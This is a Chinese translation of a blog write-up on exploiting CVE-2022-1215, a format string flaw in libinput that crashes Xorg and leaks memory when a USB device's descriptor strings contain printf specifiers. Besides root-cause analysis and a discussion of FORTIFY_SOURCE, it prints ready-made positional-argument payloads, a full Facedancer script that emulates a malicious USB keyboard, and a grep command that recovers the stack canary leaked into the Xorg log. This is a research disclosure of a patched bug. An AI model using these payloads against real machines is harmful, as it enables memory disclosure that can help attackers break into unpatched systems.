nday 漏洞利用:libinput 格式字符串错误,canary 泄漏漏洞利用 (cve-2022-1215)
2022-8-6 22:33:36 Author: Ots安全(查看原文) 阅读量:33 收藏

发现

这是我在 Xorg 中独立发现的一个问题(或者我是这么认为的),当时我正在玩弄 GreatFET One,这是一个用于 USB 黑客的很酷的小设备。在尝试一些随机有效负载时,我发现将 USB 键盘设备与某些设备描述符字段中的格式字符串连接会导致 Xorg 崩溃。具体来说,它是制造商、序列号、产品字符串字段。不幸的是,我在尝试设置测试环境时很快遇到了问题,因为我会在连接设备后立即崩溃我自己的 X 会话,即使尝试直接将其传递到 VM 也是如此。当我有时间找到解决这些问题的好方法时,我决定把它留到另一天,但它最终搁置了几个月,我再也没有做太多的事情来回过头来。

然后,几周前,我看到一些 CVE 在 Xorg 中发布,这些内容似乎与输入设备无关,这引起了我的注意。这让我想知道这是否是我发现的同一个错误,所以我挖出我的笔记并决定仔细看看。在执行此操作时,我发现问题实际上不在 Xorg 本身(至少不完全),而实际上在libinput. 一旦我弄清楚了这一点,我就去寻找 libinput 源代码来查找我在回溯中看到的函数的代码,并最终找到了今年 4 月修复问题的特定提交。好吧,妈的。

根本原因分析

该问题的报告者在报告中提供了对该漏洞的详细描述。这是一个很好的片段;博士:

- Newly connected evdev devices are logged using evdev_log_msg.- The format parameter is manipulated at src/evdev.h:785 to prepend (among other things) the device name.- The resulting string buf is then passed as the format parameter to log_msg_va at src/evdev.h:796- In X.org (and probably other users of libinput), this logging function eventually leads into the system's sprintf.- If the device name contains printf-style formatting placeholders such as %s or %d, these will be passed on to the new format string, and interpreted incorrectly. User-controlled format strings are a known security vulnerability, CWE-134, and can be used by an attacker to execute malicious code.

基本上,问题归结为这样一个事实,即用户控制的输入在被用作调用sprintf().

在对 libinput 的特定组件进行更多挖掘时,我看到了一篇博客文章,其中记者谈到了意外绊倒这个问题及其根源过程(毫不奇怪,它实际上是一家安全公司,哈哈)。查看该帖子以获得对问题发生的确切位置的详细分析和描述。

所以,根本原因分析已经完成……但没有提供 poc 漏洞利用代码。报告者和开发人员之间围绕 git 问题中利用的可能性/合理性进行了有趣的讨论,他们讨论了潜在的利用途径和真正的影响/风险(查看详细信息)。tl;博士的决定是,该错误充其量只会为攻击者提供信息泄漏,而在最坏的情况下可能会导致代码执行。

考虑到这一点,我认为探索信息泄漏和 RCE 的潜力并为两者(希望如此)产生漏洞利用可能仍然值得。

漏洞利用:泄漏堆栈金丝雀

我从信息泄漏漏洞开始。信息泄漏可以提供的最有用的东西之一是泄漏堆栈金丝雀的能力,所以我决定这将是漏洞利用的目标。因为金丝雀值存储在堆栈中并且格式字符串参数是从堆栈中读取的,所以通常可以很容易地做到这一点。

测试环境

  1. Debian 11 主机

  2. Virtualbox 中的 Xubuntu 20.04 虚拟机

  3. USB 主机设备直通到 VM

  4. 在虚拟机上设置 SSH

不过,首先要做的事情是:为了使格式字符串对这种信息泄漏有用,需要有一种方法可以从程序中获取输出,以显示从堆栈中读取的值。值得庆幸的是,在这种情况下,输出被写入 Xorg 日志文件,这是世界可读的。确认后,下一步是确定堆栈金丝雀的确切位置,以便我们能够可靠地找到它。

约束:字段长度限制

在这种情况下,有一些限制使事情变得更加困难。每个字段的长度必须小于 126 个字符 - 这是因为保存字段的 USB 设备结构是 255 个字节,其中前 4 个保留用于保存字段的长度。根据 USB 规范,字符串值被解释为 UTF-16,因此剩余的 254 个字节被分成两半。

约束:附加 %s 格式字符串

当我开始测试有效载荷时,我几乎立即遇到的第一个问题是,我尝试的几乎每个有效载荷都会立即产生一个 SIGSEGV。为什么会发生这种情况并不是很明显,因为通常可以使用说明符%x来读取值而不会导致崩溃(因为读取发生在堆栈之外)。

具体来说,其中一个调用*sprintf_internal是将我提交的格式字符串添加到另一个包含另外 11 个%s说明符的字符串中,如下面的 GDB 输出所示

Thread 1 "Xorg" hit Breakpoint 1, __vsnprintf_internal (string=0x7ffce6903d65 "", maxlen=0x3fb, format=0x7ffce69041c0 "event7  - CCCC <CONTROLLED INPUT>: is tagged by udev as:%s%s%s%s%s%s%s%s%s%s%s\n", args=0x7ffce69041a8, mode_flags=0x2) at vsnprintf.c:95

这是一个问题,因为放置在可控字符串中的每个格式说明符都将使用堆栈中的参数,并且%s格式说明符指示参数值将被视为 char 指针并被取消引用;一旦使用了提交的有效负载中每个格式规范的参数,几乎不可能避免在%s达到规范时触发由对无效地址的读取引起的分段错误。

在阅读了 sprintf 和 Google 的手册页后,我发现我可以在有效负载中的格式规范上使用直接参数访问来保持va_arg指针固定。在格式规范中使用参数访问不会移动主参数指针,因此在格式字符串中%1$x %2$x %x,第一种格式从参数 1 读取,第二种格式从参数 2 读取,但第三种格式再次从参数 1读取,因为它是第一种格式spec 在没有指定参数的情况下出现。下面的示例显示了这一点:

[email protected]:~$ echo -n "%1\$s%2\$s%3\$s%4\$s" | ./toy[+] fmt string: '%1$s%2$s%3$s%4$s | %s%s%s%s\n'[+] args: '1111.', '4444.', '5555.', '6666.'
[+] result:1111.4444.5555.6666. | 1111.4444.5555.6666.

这就是我能够解决额外%s规范问题的方法,但这减少了我可以放置在单个字段中的格式规范的总数。总共可以使用 126 个字符,每个普通格式规范(没有参数索引)占用 2 个字符,总共可以插入 63 个格式规范。添加参数访问语法会为每个格式规范添加至少 2 个字符。假设只使用一位数的索引(总共 4 个字符),这会将每个字段中可以包含的实际最大规范数减少到 31。这意味着对于“利用”的每次运行,我们只能从堆栈中读取总共 31 个值。

那些已经熟悉格式字符串错误的人会正确地假设,最终,这个长度限制不一定是一个问题,因为它不会限制我们能够读取堆栈的多远。这是因为可以在运行之间更新参数索引集(例如 run1 使用索引 1-20,run2 使用索引 20-40 等)以继续进一步读取到内存中。不幸的是,这是长度限制非常重要的情况之一,正如我在尝试这样做时很快发现的那样。

约束:FORTIFY_SOURCE=2

在进行一些测试并尝试转储值时,我注意到任何时候我使用的参数访问格式规范不包括低于使用的最大索引的所有索引(即,如果格式字符串访问参数 5 而不访问 1-4)应用程序会因 SIG_ABORT 而崩溃。在使用 GDB 进行调查时,我注意到异常处理程序中的这个字符串抛出了 ABORT 信号:"*** invalid %N$ use detected ***\n"。后来通过快速的 Google 搜索,我发现我正在测试的 Xorg 二进制文件是使用 FORTIFY_SOURCE=2 标志编译的。

绕道而行:tl;dr on FORTIFY_SOURCE=2

在此之前,我不熟悉此标志提供的特定缓解/检查,因此我花了一些时间深入研究它。我可能会在以后的帖子中花更多时间讨论这个问题,所以现在这里是最重要的 tl;dr 版本:

  • 编译器提供的安全检查和漏洞利用缓解机制(就像-fstack-protector)

  • 这包括编译时和运行时检查

  • =2专门启用格式字符串漏洞利用缓解措施;需要优化级别 ≥ 2

  • %n不允许存储在可写内存中的格式字符串中(即不允许来自用户可写内存区域)

  • 直接参数访问不能“跳过”值;如果直接访问第 5 个参数,则参数 1-4 也必须在格式字符串的某处访问

最后一点与上一节末尾提到的问题有关。这意味着长度限制将有效地创建一个可以访问的最大参数索引,同时保持在约束的边界内并避免崩溃。

我们可以像这样计算最大索引:

  • 访问单位数索引每个规范消耗 4 个字符:%N$x

  • 访问参数 1-9 总共消耗 36 个字符 ( 9 * 4)

  • 访问两位数索引(10 到 99)每个规范消耗 5 个字符:%NN$x

  • 剩余 90 个字符 ( 126 - 36),最多可以再访问 18 个参数 ( 90 / 5)

  • 最大指数为 9 + 18 = 27

漏洞利用:泄露的Canary

鉴于上述限制,漏洞利用最终归结为一点运气——只要Canary在堆栈上足够近,可以使用易受攻击的堆栈帧的可用参数索引访问,它就应该在日志文件中泄露.

我从这个有效载荷开始,它最多只能读取第 22 个参数,因此.可以包含规范之间的 ' 来拆分内容并使输出易于区分。

"%1$p.%2$p.%3$p.%4$p.%5$p.%6$p.%7$p.%8$p.%9$p.%10$p.%11$p.%12$p.%13$p.%14$p.%15$p.%16$p.%17$p.%18$p.%19$p.%20$p.%21$p.%22$p"

不幸的是,这不起作用,输出中的所有值都与Canary的模式不匹配。因此,它将归结为最后 5 个参数。我从前 22 种格式中删除了点,以恢复这些字符并阅读第 25 种格式。

"%1$p%2$p%3$p%4$p%5$p%6$p%7$p%8$p%9$p%10$p%11$p%12$p%13$p%14$p%15$p%16$p%17$p%18$p%19$p%20$p%21$p%22$p.%23$p.%24$p.%25$p"

运气站在我这边。我检查了日志,发现看起来很像Canary值。可以看出,值在堆栈上的位置在不同的易受攻击的函数调用之间略有变化。大多数 Linux 发行版上的堆栈Canary使用以空字节结尾的 64 位数字的Canary。它们通常不太难找到,因为它们看起来不像有效地址或十六进制 ASCII 值,除非它们确实如此。

Facedancer 脚本

这个 Facedancer 脚本将触发错误并在可能包含Canary值的位置周围放置标记,以便更容易找到。Facedancer 是一个图书馆

#!/usr/bin/env python3# pylint: disable=unused-wildcard-import, wildcard-importimport sysimport osimport loggingfrom facedancer             import devices, mainfrom facedancer.devices.keyboard import USBKeyboardDevice
prefix = "%1$c%2$c%3$c%4$c%5$c%6$c%7$c%8$c%9$c%10$c%11$c%12$c%13$c%14$c%15$c%16$c%17$c%18$c%19$c%20$c%21$c%22$c"canary_maybes = "X:%23$p_X:%24$p_X:%25$p" # grep for `X:0x.{14}00`payload = prefix + canary_maybes
print("[+] reading args from $FSERIAL, $FPRODUCT, and $FMANU env vars")serial = os.environ.get("FSERIAL", "C"*100)product = os.environ.get("FPRODUCT", "HYPRODUCT")manu = os.environ.get("FMANU", payload)
# create the device and connectDEVICE = USBKeyboardDevice()DEVICE.serial_number_string = serialDEVICE.manufacturer_string = manuDEVICE.product_string = productDEVICE.product_id = 0x1337DEVICE.vendor_id = 0x1337main(DEVICE)

然后可以使用 grep 在 Xorg 日志文件中搜索这些值:

# find it in the logsgrep -a -E "X:0x.{14}00" /var/log/Xorg.0.log

正在运行的 Xorg 进程中的金丝雀值下方的屏幕截图,同时附加了 GDB 和 Xorg 日志中显示的相同值:

这仅被证实适用于 Xubuntu 20.04.4 ISO 的默认安装(即在安装任何更新之前,因为已推送补丁)。我确实在 Debian 11 系统上进行了测试,但无法让金丝雀值在相同的约束下泄漏。显然,大多数发行版现在基本上都在默认包上启用了所有漏洞利用缓解措施(金丝雀、RELRO、FORTIFY_SOURCE 等)。所以,YMMV 在不同的发行版甚至 Ubuntu 版本上。

不幸的是,这仅在与单独的溢出漏洞结合使用时才有用。

代码执行?

我花了很多时间试图看看我是否可以把它变成一个代码执行错误,但如上所述, FORTIFY_SOURCE=2 检查阻止使用%n,这确实使事情复杂化。我能找到的唯一绕过技术来自 Phrack 2010 年的一篇文章“格式化字符串的悼词”,其中涉及滥用alloca在 glibc 的内部 vfprintf 实现中移动堆栈并在可控位置导致 4 字节 NULL 写入。此 NULL 写入用于覆盖标准输出的打开文件流对象上的标志,该标志用于确定是否强制执行 FORTIFY 检查。我不确定在 64 位系统上的现代 glibc 版本中是否可以滥用相同的行为(我在网上找到的几乎所有东西都在 32 位系统上,并且至少 6-7 岁)但我还在玩它。我已经能够获得一些有趣的行为,但到目前为止,还没有什么能让我以任何重要的方式更接近代码执行。无论如何,我认为这可能是一个值得探索的领域,至少可以确认是否可以在现代系统上实现一些绕过。如果不,

所以,目前,没有代码执行 :(。

其它参考 Reference/Resources

libinput Gitlab Issue #752

  • https://gitlab.freedesktop.org/libinput/libinput/-/issues/752

Accidental Intrusion, CVE-2022-1215 (blog post by the researcher(s) that reported the bug)

  • https://www.assured.se/posts/accidental-intrusion

A Eulogy for Format Strings (Phrack 0x43)

  • http://phrack.org/issues/67/9.html

Facedancer

  • https://github.com/greatscottgadgets/Facedancer

Stack Canaries

  • https://www.sans.org/blog/stack-canaries-gingerly-sidestepping-the-cage/

文章翻译自:

https://blog.coffinsec.com/nday/2022/08/04/CVE-2022-1215-libinput-fmt-canary-leak.html


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247495459&idx=1&sn=b9dfde8bee091ee3fbc9b9680c189ae8&chksm=9bada668acda2f7e55c8107daaa6fc21f26b00f800b1a1f88f9caf2355d49aa654ad7935bf0b#rd
如有侵权请联系:admin#unsafe.sh